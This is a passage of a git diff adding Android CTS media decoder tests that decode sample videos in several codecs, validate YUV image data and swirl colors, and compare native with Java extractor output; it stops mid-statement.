+            new MediaAsset("swirl_136x144_mpeg4.mp4", 136, 144),
+            new MediaAsset("swirl_132x130_mpeg4.mp4", 132, 130),
+            new MediaAsset("swirl_130x132_mpeg4.mp4", 130, 132));
+
+    private static MediaAssets H264_ASSETS = new MediaAssets(
+            MediaFormat.MIMETYPE_VIDEO_AVC,
+            new MediaAsset("swirl_128x128_h264.mp4", 128, 128),
+            new MediaAsset("swirl_144x136_h264.mp4", 144, 136),
+            new MediaAsset("swirl_136x144_h264.mp4", 136, 144),
+            new MediaAsset("swirl_132x130_h264.mp4", 132, 130),
+            new MediaAsset("swirl_130x132_h264.mp4", 130, 132),
+            new MediaAsset("swirl_128x128_h264_10bit.mp4", 128, 128, 10),
+            new MediaAsset("swirl_144x136_h264_10bit.mp4", 144, 136, 10),
+            new MediaAsset("swirl_136x144_h264_10bit.mp4", 136, 144, 10),
+            new MediaAsset("swirl_132x130_h264_10bit.mp4", 132, 130, 10),
+            new MediaAsset("swirl_130x132_h264_10bit.mp4", 130, 132, 10),
+            new MediaAsset("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                    480, 360, false));
+
+    private static MediaAssets H265_ASSETS = new MediaAssets(
+            MediaFormat.MIMETYPE_VIDEO_HEVC,
+            new MediaAsset("swirl_128x128_h265.mp4", 128, 128),
+            new MediaAsset("swirl_144x136_h265.mp4", 144, 136),
+            new MediaAsset("swirl_136x144_h265.mp4", 136, 144),
+            new MediaAsset("swirl_132x130_h265.mp4", 132, 130),
+            new MediaAsset("swirl_130x132_h265.mp4", 130, 132),
+            new MediaAsset("swirl_128x128_h265_10bit.mp4", 128, 128, 10),
+            new MediaAsset("swirl_144x136_h265_10bit.mp4", 144, 136, 10),
+            new MediaAsset("swirl_136x144_h265_10bit.mp4", 136, 144, 10),
+            new MediaAsset("swirl_132x130_h265_10bit.mp4", 132, 130, 10),
+            new MediaAsset("swirl_130x132_h265_10bit.mp4", 130, 132, 10));
+
+    private static MediaAssets VP8_ASSETS = new MediaAssets(
+            MediaFormat.MIMETYPE_VIDEO_VP8,
+            new MediaAsset("swirl_128x128_vp8.webm", 128, 128),
+            new MediaAsset("swirl_144x136_vp8.webm", 144, 136),
+            new MediaAsset("swirl_136x144_vp8.webm", 136, 144),
+            new MediaAsset("swirl_132x130_vp8.webm", 132, 130),
+            new MediaAsset("swirl_130x132_vp8.webm", 130, 132));
+
+    private static MediaAssets VP9_ASSETS = new MediaAssets(
+            MediaFormat.MIMETYPE_VIDEO_VP9,
+            new MediaAsset("swirl_128x128_vp9.webm", 128, 128),
+            new MediaAsset("swirl_144x136_vp9.webm", 144, 136),
+            new MediaAsset("swirl_136x144_vp9.webm", 136, 144),
+            new MediaAsset("swirl_132x130_vp9.webm", 132, 130),
+            new MediaAsset("swirl_130x132_vp9.webm", 130, 132),
+            new MediaAsset("swirl_128x128_vp9_10bit.webm", 128, 128, 10),
+            new MediaAsset("swirl_144x136_vp9_10bit.webm", 144, 136, 10),
+            new MediaAsset("swirl_136x144_vp9_10bit.webm", 136, 144, 10),
+            new MediaAsset("swirl_132x130_vp9_10bit.webm", 132, 130, 10),
+            new MediaAsset("swirl_130x132_vp9_10bit.webm", 130, 132, 10));
+
+    private static MediaAssets AV1_ASSETS = new MediaAssets(
+            MediaFormat.MIMETYPE_VIDEO_AV1,
+            new MediaAsset("swirl_128x128_av1.webm", 128, 128),
+            new MediaAsset("swirl_144x136_av1.webm", 144, 136),
+            new MediaAsset("swirl_136x144_av1.webm", 136, 144),
+            new MediaAsset("swirl_132x130_av1.webm", 132, 130),
+            new MediaAsset("swirl_130x132_av1.webm", 130, 132),
+            new MediaAsset("swirl_128x128_av1_10bit.webm", 128, 128, 10),
+            new MediaAsset("swirl_144x136_av1_10bit.webm", 144, 136, 10),
+            new MediaAsset("swirl_136x144_av1_10bit.webm", 136, 144, 10),
+            new MediaAsset("swirl_132x130_av1_10bit.webm", 132, 130, 10),
+            new MediaAsset("swirl_130x132_av1_10bit.webm", 130, 132, 10));
+
+    static final float SWIRL_FPS = 12.f;
+
+    private static MediaAssets[] ASSETS = {H263_ASSETS, MPEG4_ASSETS, H264_ASSETS, H265_ASSETS,
+            VP8_ASSETS, VP9_ASSETS, AV1_ASSETS};
+
+   boolean isColorFormatSupported(CodecCapabilities caps, int colorFormat) {
+        for (int c : caps.colorFormats) {
+            if (c == colorFormat) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Test
+    public void decodeTest() throws Exception {
+        int imageFormat = ImageFormat.YUV_420_888;
+        int colorFormat = COLOR_FormatYUV420Flexible;
+        String video = mMediaAsset.getResource();
+        int width = mMediaAsset.getWidth();
+        int height = mMediaAsset.getHeight();
+
+        if (8 == mMediaAsset.getBitDepth()) {
+            imageFormat = ImageFormat.YUV_420_888;
+            colorFormat = COLOR_FormatYUV420Flexible;
+        } else {
+            imageFormat = ImageFormat.YCBCR_P010;
+            colorFormat = COLOR_FormatYUVP010;
+        }
+
+        if (DEBUG) {
+            Log.d(TAG, "videoDecode " + mCodecName + " " + width + "x" + height + " bit depth " +
+                    mMediaAsset.getBitDepth());
+        }
+
+        MediaFormat mediaFormat = null;
+
+        Preconditions.assertTestFileExists(mInpPrefix + video);
+        mExtractor.setDataSource(mInpPrefix + video);
+
+        mediaFormat = mExtractor.getTrackFormat(0);
+        mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
+
+
+        MediaCodecInfo info = mDecoder.getCodecInfo();
+        CodecCapabilities caps = info.getCapabilitiesForType(mMime);
+        VideoCapabilities videoCaps = caps.getVideoCapabilities();
+
+        assumeTrue("Media format " + mediaFormat + " is not supported by " + mCodecName,
+                caps.isFormatSupported(mediaFormat));
+        assumeTrue(mMediaAsset.getWidth() + "x" + mMediaAsset.getHeight() + " @ " +
+                SWIRL_FPS + " fps is not supported by " + mCodecName,
+                videoCaps.areSizeAndRateSupported(mMediaAsset.getWidth(),
+                mMediaAsset.getHeight(), SWIRL_FPS));
+        assumeTrue("Color format " + colorFormat + " is not supported by " + mCodecName,
+                isColorFormatSupported(caps, colorFormat));
+
+        decodeFramesToImage(
+                mDecoder, mExtractor, mediaFormat,
+                width, height, imageFormat, mMode, mMediaAsset.getIsSwirl());
+
+        mDecoder.stop();
+
+    }
+
+    private static class ImageListener implements ImageReader.OnImageAvailableListener {
+        private final LinkedBlockingQueue<Pair<Image, Exception>> mQueue =
+                new LinkedBlockingQueue<Pair<Image, Exception>>();
+
+        @Override
+        public void onImageAvailable(ImageReader reader) {
+            try {
+                mQueue.put(Pair.create(reader.acquireNextImage(), null /* Exception */));
+            } catch (Exception e) {
+                // pass any exception back to the other thread, taking the exception
+                // here crashes the instrumentation in cts/junit.
+                Log.e(TAG, "Can't handle Exceptions in onImageAvailable " + e);
+                try {
+                    mQueue.put(Pair.create(null /* Image */, e));
+                } catch (Exception e2) {
+                    // ignore the nested exception, other side will see a timeout.
+                    Log.e(TAG, "Failed to send exception info across queue: " + e2);
+                }
+            }
+        }
+
+        /**
+         * Get an image from the image reader.
+         *
+         * @param timeout Timeout value for the wait.
+         * @return The image from the image reader.
+         */
+        public Image getImage(long timeout) throws InterruptedException {
+            Pair<Image,Exception> imageResult = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
+            Image image = imageResult.first;
+            Exception e = imageResult.second;
+
+            assertNull("onImageAvailable() generated an exception: " + e, e);
+            assertNotNull("Wait for an image timed out in " + timeout + "ms", image);
+            return image;
+        }
+    }
+
+    /**
+     * Decode video frames to image reader.
+     */
+    private void decodeFramesToImage(
+            MediaCodec decoder, MediaExtractor extractor, MediaFormat mediaFormat,
+            int width, int height, int imageFormat, int mode, boolean checkSwirl)
+            throws InterruptedException {
+        ByteBuffer[] decoderInputBuffers;
+        ByteBuffer[] decoderOutputBuffers;
+
+        // Configure decoder.
+        if (VERBOSE) Log.v(TAG, "stream format: " + mediaFormat);
+        if (mode == MODE_IMAGEREADER) {
+            createImageReader(width, height, imageFormat, MAX_NUM_IMAGES, mImageListener);
+            decoder.configure(mediaFormat, mReaderSurface, null /* crypto */, 0 /* flags */);
+        } else {
+            assertEquals(mode, MODE_IMAGE);
+            decoder.configure(mediaFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+        }
+
+        decoder.start();
+        decoderInputBuffers = decoder.getInputBuffers();
+        decoderOutputBuffers = decoder.getOutputBuffers();
+        extractor.selectTrack(0);
+
+        // Start decoding and get Image, only test the first NUM_FRAME_DECODED frames.
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int outputFrameCount = 0;
+        while (!sawOutputEOS && outputFrameCount < NUM_FRAME_DECODED) {
+            if (VERBOSE) Log.v(TAG, "loop:" + outputFrameCount);
+            // Feed input frame.
+            if (!sawInputEOS) {
+                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_TIMEOUT_US);
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = decoderInputBuffers[inputBufIndex];
+                    int sampleSize =
+                        extractor.readSampleData(dstBuf, 0 /* offset */);
+
+                    if (VERBOSE) Log.v(TAG, "queue a input buffer, idx/size: "
+                        + inputBufIndex + "/" + sampleSize);
+
+                    long presentationTimeUs = 0;
+
+                    if (sampleSize < 0) {
+                        if (VERBOSE) Log.v(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        sampleSize = 0;
+                    } else {
+                        presentationTimeUs = extractor.getSampleTime();
+                    }
+
+                    decoder.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    if (!sawInputEOS) {
+                        extractor.advance();
+                    }
+                }
+            }
+
+            // Get output frame
+            int res = decoder.dequeueOutputBuffer(info, DEFAULT_TIMEOUT_US);
+            if (VERBOSE) Log.v(TAG, "got a buffer: " + info.size + "/" + res);
+            if (res == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                // no output available yet
+                if (VERBOSE) Log.v(TAG, "no output frame available");
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                // decoder output buffers changed, need update.
+                if (VERBOSE) Log.v(TAG, "decoder output buffers changed");
+                decoderOutputBuffers = decoder.getOutputBuffers();
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                // this happens before the first frame is returned.
+                MediaFormat outFormat = decoder.getOutputFormat();
+                if (VERBOSE) Log.v(TAG, "decoder output format changed: " + outFormat);
+            } else if (res < 0) {
+                // Should be decoding error.
+                fail("unexpected result from deocder.dequeueOutputBuffer: " + res);
+            } else {
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    sawOutputEOS = true;
+                }
+
+                // res >= 0: normal decoding case, copy the output buffer.
+                // Will use it as reference to valid the ImageReader output
+                // Some decoders output a 0-sized buffer at the end. Ignore those.
+                boolean doRender = (info.size != 0);
+
+                if (doRender) {
+                    outputFrameCount++;
+                    String fileName = DEBUG_FILE_NAME_BASE + mCodecName + "_" + mTestId + ".yuv";
+
+                    Image image = null;
+                    try {
+                        if (mode == MODE_IMAGE) {
+                            image = decoder.getOutputImage(res);
+                        } else {
+                            decoder.releaseOutputBuffer(res, doRender);
+                            res = -1;
+                            // Read image and verify
+                            image = mImageListener.getImage(WAIT_FOR_IMAGE_TIMEOUT_MS);
+                        }
+                        validateImage(image, width, height, imageFormat, fileName);
+
+                        if (checkSwirl) {
+                            try {
+                                validateSwirl(image);
+                            } catch (Throwable e) {
+                                dumpFile(fileName, getDataFromImage(image));
+                                throw e;
+                            }
+                        }
+                    } finally {
+                        if (image != null) {
+                            image.close();
+                        }
+                    }
+                }
+
+                if (res >= 0) {
+                    decoder.releaseOutputBuffer(res, false /* render */);
+                }
+            }
+        }
+    }
+
+    /**
+     * Validate image based on format and size.
+     *
+     * @param image The image to be validated.
+     * @param width The image width.
+     * @param height The image height.
+     * @param format The image format.
+     * @param filePath The debug dump file path, null if don't want to dump to file.
+     */
+    public static void validateImage(
+            Image image, int width, int height, int format, String filePath) {
+        if (VERBOSE) {
+            Plane[] imagePlanes = image.getPlanes();
+            Log.v(TAG, "Image " + filePath + " Info:");
+            Log.v(TAG, "first plane pixelstride " + imagePlanes[0].getPixelStride());
+            Log.v(TAG, "first plane rowstride " + imagePlanes[0].getRowStride());
+            Log.v(TAG, "Image timestamp:" + image.getTimestamp());
+        }
+
+        assertNotNull("Input image is invalid", image);
+        assertEquals("Format doesn't match", format, image.getFormat());
+        assertEquals("Width doesn't match", width, image.getCropRect().width());
+        assertEquals("Height doesn't match", height, image.getCropRect().height());
+
+        if(VERBOSE) Log.v(TAG, "validating Image");
+        byte[] data = getDataFromImage(image);
+        assertTrue("Invalid image data", data != null && data.length > 0);
+
+        validateYuvData(data, width, height, format, image.getTimestamp());
+
+        if (VERBOSE && filePath != null) {
+            dumpFile(filePath, data);
+        }
+    }
+
+    private static void validateSwirl(Image image) {
+        Rect crop = image.getCropRect();
+        final int NUM_SIDES = 4;
+        final int step = 8;      // the width of the layers
+        long[][] rawStats = new long[NUM_SIDES][10];
+        // expected colors for YUV 4:2:0 bit-depth 8
+        int[][] colors = new int[][] {
+            { 111, 96, 204 }, { 178, 27, 174 }, { 100, 192, 92 }, { 106, 117, 62 }
+        };
+
+        // successively accumulate statistics for each layer of the swirl
+        // by using overlapping rectangles, and the observation that
+        // layer_i = rectangle_i - rectangle_(i+1)
+        int lastLayer = 0;
+        int layer = 0;
+        boolean lastLayerValid = false;
+        for (int pos = 0; ; pos += step) {
+            Rect area = new Rect(pos - step, pos, crop.width() / 2, crop.height() + 2 * step - pos);
+            if (area.isEmpty()) {
+                break;
+            }
+            area.offset(crop.left, crop.top);
+            area.intersect(crop);
+            for (int lr = 0; lr < 2; ++lr) {
+                long[] oneStat = CodecUtils.getRawStats(image, area);
+                if (VERBOSE) Log.v(TAG, "area=" + area + ", layer=" + layer + ", last="
+                                    + lastLayer + ": " + Arrays.toString(oneStat));
+                for (int i = 0; i < oneStat.length; i++) {
+                    rawStats[layer][i] += oneStat[i];
+                    if (lastLayerValid) {
+                        rawStats[lastLayer][i] -= oneStat[i];
+                    }
+                }
+                if (VERBOSE && lastLayerValid) {
+                    Log.v(TAG, "layer-" + lastLayer + ": " + Arrays.toString(rawStats[lastLayer]));
+                    Log.v(TAG, Arrays.toString(CodecUtils.Raw2YUVStats(rawStats[lastLayer])));
+                }
+                // switch to the opposite side
+                layer ^= 2;      // NUM_SIDES / 2
+                lastLayer ^= 2;  // NUM_SIDES / 2
+                area.offset(crop.centerX() - area.left, 2 * (crop.centerY() - area.centerY()));
+            }
+
+            lastLayer = layer;
+            lastLayerValid = true;
+            layer = (layer + 1) % NUM_SIDES;
+        }
+
+        for (layer = 0; layer < NUM_SIDES; ++layer) {
+            float[] stats = CodecUtils.Raw2YUVStats(rawStats[layer]);
+            if (DEBUG) Log.d(TAG, "layer-" + layer + ": " + Arrays.toString(stats));
+            if (VERBOSE) Log.v(TAG, Arrays.toString(rawStats[layer]));
+
+            // check layer uniformity
+            for (int i = 0; i < 3; i++) {
+                assertTrue("color of layer-" + layer + " is not uniform: "
+                        + Arrays.toString(stats),
+                        stats[3 + i] < COLOR_STDEV_ALLOWANCE);
+            }
+
+            // check layer color
+            for (int i = 0; i < 3; i++) {
+                assertTrue("color of layer-" + layer + " mismatches target "
+                        + Arrays.toString(colors[layer]) + " vs "
+                        + Arrays.toString(Arrays.copyOf(stats, 3)),
+                        Math.abs(stats[i] - colors[layer][i]) < COLOR_DELTA_ALLOWANCE);
+            }
+        }
+    }
+
+    private static void validateYuvData(byte[] yuvData, int width, int height, int format,
+            long ts) {
+
+        assertTrue("YUV format must be one of the YUV_420_888, NV21, YV12 or YCBCR_P010",
+                format == ImageFormat.YUV_420_888 ||
+                format == ImageFormat.NV21 ||
+                format == ImageFormat.YV12 ||
+                format == ImageFormat.YCBCR_P010);
+
+        if (VERBOSE) Log.v(TAG, "Validating YUV data");
+        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
+        assertEquals("Yuv data doesn't match", expectedSize, yuvData.length);
+    }
+
+    private static void checkYuvFormat(int format) {
+        if ((format != ImageFormat.YUV_420_888) &&
+                (format != ImageFormat.NV21) &&
+                (format != ImageFormat.YV12) &&
+                (format != ImageFormat.YCBCR_P010)) {
+            fail("Wrong formats: " + format);
+        }
+    }
+    /**
+     * <p>Check android image format validity for an image, only support below formats:</p>
+     *
+     * <p>Valid formats are YUV_420_888/NV21/YV12/P010 for video decoder</p>
+     */
+    private static void checkAndroidImageFormat(Image image) {
+        int format = image.getFormat();
+        Plane[] planes = image.getPlanes();
+        switch (format) {
+            case ImageFormat.YUV_420_888:
+            case ImageFormat.NV21:
+            case ImageFormat.YV12:
+            case ImageFormat.YCBCR_P010:
+                assertEquals("YUV420 format Images should have 3 planes", 3, planes.length);
+                break;
+            default:
+                fail("Unsupported Image Format: " + format);
+        }
+    }
+
+    /**
+     * Get a byte array image data from an Image object.
+     * <p>
+     * Read data from all planes of an Image into a contiguous unpadded,
+     * unpacked 1-D linear byte array, such that it can be write into disk, or
+     * accessed by software conveniently. It supports YUV_420_888/NV21/YV12/P010
+     * input Image format.
+     * </p>
+     * <p>
+     * For YUV_420_888/NV21/YV12/Y8/Y16, it returns a byte array that contains
+     * the Y plane data first, followed by U(Cb), V(Cr) planes if there is any
+     * (xstride = width, ystride = height for chroma and luma components).
+     * </p>
+     */
+    private static byte[] getDataFromImage(Image image) {
+        assertNotNull("Invalid image:", image);
+        Rect crop = image.getCropRect();
+        int format = image.getFormat();
+        int width = crop.width();
+        int height = crop.height();
+        int rowStride, pixelStride;
+        byte[] data = null;
+
+        // Read image data
+        Plane[] planes = image.getPlanes();
+        assertTrue("Fail to get image planes", planes != null && planes.length > 0);
+
+        // Check image validity
+        checkAndroidImageFormat(image);
+
+        ByteBuffer buffer = null;
+
+        int offset = 0;
+        data = new byte[width * height * ImageFormat.getBitsPerPixel(format) / 8];
+        byte[] rowData = new byte[planes[0].getRowStride()];
+        if(VERBOSE) Log.v(TAG, "get data from " + planes.length + " planes");
+        for (int i = 0; i < planes.length; i++) {
+            int shift = (i == 0) ? 0 : 1;
+            buffer = planes[i].getBuffer();
+            assertNotNull("Fail to get bytebuffer from plane", buffer);
+            rowStride = planes[i].getRowStride();
+            pixelStride = planes[i].getPixelStride();
+            assertTrue("pixel stride " + pixelStride + " is invalid", pixelStride > 0);
+            if (VERBOSE) {
+                Log.v(TAG, "pixelStride " + pixelStride);
+                Log.v(TAG, "rowStride " + rowStride);
+                Log.v(TAG, "width " + width);
+                Log.v(TAG, "height " + height);
+            }
+            // For multi-planar yuv images, assuming yuv420 with 2x2 chroma subsampling.
+            int w = crop.width() >> shift;
+            int h = crop.height() >> shift;
+            buffer.position(rowStride * (crop.top >> shift) + pixelStride * (crop.left >> shift));
+            assertTrue("rowStride " + rowStride + " should be >= width " + w , rowStride >= w);
+            for (int row = 0; row < h; row++) {
+                // ImageFormat.getBitsPerPixel() returns total bits per pixel, which is 12 for
+                // YUV 4:2:0 8-bit, whereas bytesPerPixel is for Y plane only
+                int bytesPerPixel = (ImageFormat.getBitsPerPixel(format) * 2) / (8 * 3);
+                int length;
+                if (pixelStride == bytesPerPixel) {
+                    // Special case: optimized read of the entire row
+                    length = w * bytesPerPixel;
+                    buffer.get(data, offset, length);
+                    offset += length;
+                } else {
+                    // Generic case: should work for any pixelStride but slower.
+                    // Use intermediate buffer to avoid read byte-by-byte from
+                    // DirectByteBuffer, which is very bad for performance
+                    length = (w - 1) * pixelStride + bytesPerPixel;
+                    buffer.get(rowData, 0, length);
+                    for (int col = 0; col < w; col++) {
+                        for (int bytePos = 0; bytePos < bytesPerPixel; ++bytePos) {
+                            data[offset++] = rowData[col * pixelStride + bytePos];
+                        }
+                    }
+                }
+                // Advance buffer the remainder of the row stride
+                if (row < h - 1) {
+                    buffer.position(buffer.position() + rowStride - length);
+                }
+            }
+            if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
+        }
+        return data;
+    }
+
+    private static void dumpFile(String fileName, byte[] data) {
+        assertNotNull("fileName must not be null", fileName);
+        assertNotNull("data must not be null", data);
+
+        FileOutputStream outStream;
+        try {
+            Log.v(TAG, "output will be saved as " + fileName);
+            outStream = new FileOutputStream(fileName);
+        } catch (IOException ioe) {
+            throw new RuntimeException("Unable to create debug output file " + fileName, ioe);
+        }
+
+        try {
+            outStream.write(data);
+            outStream.close();
+        } catch (IOException ioe) {
+            throw new RuntimeException("failed writing data to file " + fileName, ioe);
+        }
+    }
+
+    private void createImageReader(
+            int width, int height, int format, int maxNumImages,
+            ImageReader.OnImageAvailableListener listener)  {
+        closeImageReader();
+
+        mReader = ImageReader.newInstance(width, height, format, maxNumImages);
+        mReaderSurface = mReader.getSurface();
+        mReader.setOnImageAvailableListener(listener, mHandler);
+        if (VERBOSE) {
+            Log.v(TAG, String.format("Created ImageReader size (%dx%d), format %d", width, height,
+                    format));
+        }
+    }
+
+    /**
+     * Close the pending images then close current active {@link ImageReader} object.
+     */
+    private void closeImageReader() {
+        if (mReader != null) {
+            try {
+                // Close all possible pending images first.
+                Image image = mReader.acquireLatestImage();
+                if (image != null) {
+                    image.close();
+                }
+            } finally {
+                mReader.close();
+                mReader = null;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
new file mode 100644
index 0000000..f5e3e0d
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
@@ -0,0 +1,429 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.MediaTestBase;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.Socket;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.Adler32;
+
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
+public class NativeDecoderTest extends MediaTestBase {
+    private static final String TAG = "NativeDecoderTest";
+
+    private static final int RESET_MODE_NONE = 0;
+    private static final int RESET_MODE_RECONFIGURE = 1;
+    private static final int RESET_MODE_FLUSH = 2;
+    private static final int RESET_MODE_EOS_FLUSH = 3;
+
+    private static final String[] CSD_KEYS = new String[] { "csd-0", "csd-1" };
+
+    private static final int CONFIG_MODE_NONE = 0;
+    private static final int CONFIG_MODE_QUEUE = 1;
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    short[] mMasterBuffer;
+
+    static {
+        // Load jni on initialization.
+        Log.i("@@@", "before loadlibrary");
+        System.loadLibrary("ctsmediadecodertest_jni");
+        Log.i("@@@", "after loadlibrary");
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+    // check that native extractor behavior matches java extractor
+
+    private void compareArrays(String message, int[] a1, int[] a2) {
+        if (a1 == a2) {
+            return;
+        }
+
+        assertNotNull(message + ": array 1 is null", a1);
+        assertNotNull(message + ": array 2 is null", a2);
+
+        assertEquals(message + ": arraylengths differ", a1.length, a2.length);
+        int length = a1.length;
+
+        for (int i = 0; i < length; i++)
+            if (a1[i] != a2[i]) {
+                Log.i("@@@@", Arrays.toString(a1));
+                Log.i("@@@@", Arrays.toString(a2));
+                fail(message + ": at index " + i);
+            }
+    }
+
+    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        File inpFile = new File(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    private static int[] getSampleSizes(String path, String[] keys, String[] values)
+            throws IOException {
+        MediaExtractor ex = new MediaExtractor();
+        if (keys == null || values == null) {
+            ex.setDataSource(path);
+        } else {
+            Map<String, String> headers = null;
+            int numheaders = Math.min(keys.length, values.length);
+            for (int i = 0; i < numheaders; i++) {
+                if (headers == null) {
+                    headers = new HashMap<>();
+                }
+                String key = keys[i];
+                String value = values[i];
+                headers.put(key, value);
+            }
+            ex.setDataSource(path, headers);
+        }
+
+        return getSampleSizes(ex);
+    }
+
+    private static int[] getSampleSizes(FileDescriptor fd, long offset, long size)
+            throws IOException {
+        MediaExtractor ex = new MediaExtractor();
+        ex.setDataSource(fd, offset, size);
+        return getSampleSizes(ex);
+    }
+
+    private static int[] getSampleSizes(MediaExtractor ex) {
+        ArrayList<Integer> foo = new ArrayList<Integer>();
+        ByteBuffer buf = ByteBuffer.allocate(1024*1024);
+        int numtracks = ex.getTrackCount();
+        assertTrue("no tracks", numtracks > 0);
+        foo.add(numtracks);
+        for (int i = 0; i < numtracks; i++) {
+            MediaFormat format = ex.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            if (mime.startsWith("audio/")) {
+                foo.add(0);
+                foo.add(format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                foo.add(format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
+            } else if (mime.startsWith("video/")) {
+                foo.add(1);
+                foo.add(format.getInteger(MediaFormat.KEY_WIDTH));
+                foo.add(format.getInteger(MediaFormat.KEY_HEIGHT));
+                foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
+            } else {
+                fail("unexpected mime type: " + mime);
+            }
+            ex.selectTrack(i);
+        }
+        while(true) {
+            int n = ex.readSampleData(buf, 0);
+            if (n < 0) {
+                break;
+            }
+            foo.add(n);
+            foo.add(ex.getSampleTrackIndex());
+            foo.add(ex.getSampleFlags());
+            foo.add((int)ex.getSampleTime()); // just the low bits should be OK
+            byte[] foobar = new byte[n];
+            buf.get(foobar, 0, n);
+            foo.add(adler32(foobar));
+            ex.advance();
+        }
+
+        int [] ret = new int[foo.size()];
+        for (int i = 0; i < ret.length; i++) {
+            ret[i] = foo.get(i);
+        }
+        return ret;
+    }
+
+    @Test
+    public void testDataSource() throws Exception {
+        int testsRun = testDecoder(
+                "video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp", /* wrapFd */
+                true, /* useCallback */ false);
+        if (testsRun == 0) {
+            MediaUtils.skipTest("no decoders found");
+        }
+    }
+
+    @Test
+    public void testDataSourceAudioOnly() throws Exception {
+        int testsRun = testDecoder(
+                "loudsoftmp3.mp3",
+                /* wrapFd */ true, /* useCallback */ false) +
+                testDecoder(
+                        "loudsoftaac.aac",
+                        /* wrapFd */ false, /* useCallback */ false);
+        if (testsRun == 0) {
+            MediaUtils.skipTest("no decoders found");
+        }
+    }
+
+    @Test
+    public void testDataSourceWithCallback() throws Exception {
+        int testsRun = testDecoder(
+                "video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp",/* wrapFd */
+                true, /* useCallback */ true);
+        if (testsRun == 0) {
+            MediaUtils.skipTest("no decoders found");
+        }
+    }
+
+    private int testDecoder(final String res) throws Exception {
+        return testDecoder(res, /* wrapFd */ false, /* useCallback */ false);
+    }
+
+    private int testDecoder(final String res, boolean wrapFd, boolean useCallback)
+            throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        if (!MediaUtils.hasCodecsForResource(mInpPrefix  + res)) {
+            return 0; // skip
+        }
+
+        AssetFileDescriptor fd = getAssetFileDescriptorFor(res);
+
+        int[] jdata1 = getDecodedData(
+                fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        int[] jdata2 = getDecodedData(
+                fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        int[] ndata1 = getDecodedDataNative(
+                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(), wrapFd,
+                useCallback);
+        int[] ndata2 = getDecodedDataNative(
